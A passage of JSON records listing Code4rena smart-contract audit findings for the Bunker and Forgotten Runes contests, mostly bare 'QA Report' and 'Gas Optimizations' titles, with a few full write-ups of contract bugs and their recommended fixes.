"target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Usage of `transferFrom` leads to irreversible loss of user funds.", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/84", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-bunker-findings", "body": "Usage of `transferFrom` leads to irreversible loss of user funds."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "`Comptroller#_initializeNftCollateral` Collateral Factor for new market may be larger than `collateralFactorMaxMantissa`, which can lead to bad debt", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/79", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-bunker-findings", "body": "# Lines of code https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/Comptroller.sol#L1337-L1359 # Vulnerability details https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/Comptroller.sol#L1337-L1359 ```solidity function _initializeNftCollateral(CNftInterface cNft, NftPriceOracle _nftOracle, uint256 _collateralFactorMantissa) external returns (uint) { require(address(nftMarket) == address(0), \"nft collateral already initialized\"); require(address(cNft) != address(0), \"cannot initialize nft market to the 0 address\"); if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cNft)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cNft.isCNft(); // Sanity check to make sure its really a cNFT. nftMarket = cNft; nftOracle = _nftOracle; // Note that isComped is not in active use anymore markets[address(cNft)] = Market({isListed: true, isComped: false, collateralFactorMantissa: _collateralFactorMantissa}); // We do not support borrowing NFTs. borrowGuardianPaused[address(cNft)] = false; } ``` https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/Comptroller.sol#L80-L81 ```solidity // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 ``` There is a `collateralFactorMaxMantissa` which limits the collateral factor to be always lower than 0.9. Per the comment: > No collateralFactorMantissa may exceed this value However, in `_initializeNftCollateral()`, the `_collateralFactorMantissa` is set without any check, which means it can be set to a value > 0.9 or even > 1. As a result, the borrowers may deliberately choose not to repay as their collateral may not be worth the debt in the first place. This can accumulate bad debt in the whole system. ### Recommendation Change to: ```solidity // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, _collateralFactorMantissa)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } markets[address(cNft)] = Market({isListed: true, isComped: false, collateralFactorMantissa: _collateralFactorMantissa}); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Lack of Storage Gap for Upgradeable Contracts", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-bunker-findings", "body": "# Lines of code https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/ERC1155Enumerable.sol#L70-L71 https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/CNft.sol#L282-L283 # Vulnerability details ## Impact The code base contains several upgradeable contracts that inherit other upgradeable contracts, including `ERC1155Enumerable.sol` and `CNFT.sol`. These contracts currently do not contain any storage gap. For upgradeable contracts, there must be storage gap to \"allow developers to freely add new state variables in the future without compromising the storage compatibility with existing deployments\" (quote OpenZeppelin). Otherwise it may be very difficult to write new implementation code. Without storage gap, the variable in child contract might be overwritten by the upgraded base contract if new variables are added to the base contract. This could have unintended and very serious consequences to the child contracts, potentially causing loss of user fund or cause the contract to malfunction completely. Refer to the bottom part of this article: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable ## Proof of Concept All OpenZeppelin upgradeable contract templates contain storage gap, including `ReentrancyGuardUpgradeable`, `OwnableUpgradeable` and `ERC1155Upgradeable` that are used in this project. Refer to the bottom of the code in the links below: https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/security/ReentrancyGuardUpgradeable.sol https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/OwnableUpgradeable.sol https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC1155/ERC1155Upgradeable.sol The storage gap is essential for upgradeable contract because \"It allows us to freely add new state variables in the future without compromising the storage compatibility with existing deployments\". Refer to the bottom part of this article: https://docs.openzeppelin.com/contracts/3.x/upgradeable Note that it isn't enough to simply have the OpenZeppelin base contracts contain storage gaps. In this project, the `CNFt` contract inherits the `ERC1155Enumerable` contract, which inherits `ERC1155Upgradeable`. We know the `ERC1155Upgradeable` contract contains a storage gap, so that contract can add additional variables without affecting its child contracts. However, `ERC1155Enumerable` currently does not contain a storage gap, and if in a future upgrade, a new variable is used in the `ERC1155Enumerable` contract, the storage slot of that new variable would overlap with the existing storage slots that are used by `CNFt` and overwrites it, causing unintended and potentially serious consequences including a complete malfunction of the `CNFt` contract. Refer to the bottom of this link for an example and explanation: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable ## Tools Used Manual review ## Recommended Mitigation Steps Recommend adding appropriate storage gap at the end of upgradeable contracts such as the below. Please reference OpenZeppelin upgradeable contract templates. ```solidity uint256[50] private __gap; ``` "}, {"title": "ERC20 APPROVE FRONT-RUNNING ATTACK", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/50", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-bunker-findings", "body": "ERC20 APPROVE FRONT-RUNNING ATTACK"}, {"title": "Inherited shadowed variable used ", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/42", "labels": ["QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "Inherited shadowed variable used "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Chainlink pricer is using a deprecated API", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/1", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-bunker-findings", "body": "Chainlink pricer is using a deprecated API"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/281", "labels": [], "target": "2022-05-runes-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "`mintlistSummon` can begin without `finalPrice` being reassigned", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "`mintlistSummon` can begin without `finalPrice` being reassigned"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/278", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/277", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Pause Mechanism Does Not Allow Anyone to Pause The Contract if Certain Invariants Are Satisfied", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/258", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-runes-findings", "body": "Pause Mechanism Does Not Allow Anyone to Pause The Contract if Certain Invariants Are Satisfied"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Use of `.send()` May Revert if The Recipient's Fallback Function Consumes More Than 2300 Gas", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/254", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-runes-findings", "body": "Use of `.send()` May Revert if The Recipient's Fallback Function Consumes More Than 2300 Gas"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/253", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/249", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/247", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/245", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/243", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/242", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/222", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Refunds could be stuck for users", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "Refunds could be stuck for users"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/207", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Contract may not have enough fund to cover refund", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/187", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-runes/blob/060b4f82b79c8308fe65674a39a07c44fa586cd3/contracts/ForgottenRunesWarriorsMinter.sol#L616-L619 # Vulnerability details ## Impact Owner of the contract can call `withdrawAll` before the refund process is done to send all ETH to the vault. Since there are no payable receive function in `ForgottenRunesWarriorsMinter`, the owner won't be able to replenish the contract for the refund process. ## Proof of Concept https://github.com/code-423n4/2022-05-runes/blob/060b4f82b79c8308fe65674a39a07c44fa586cd3/contracts/ForgottenRunesWarriorsMinter.sol#L616-L619 ```solidity function withdrawAll() public payable onlyOwner { require(address(vault) != address(0), 'no vault'); require(payable(vault).send(address(this).balance)); } ``` ## Recommended Mitigation Steps Only allow owner to call `withdrawAll` after refund period "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/177", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/175", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/138", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/136", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, 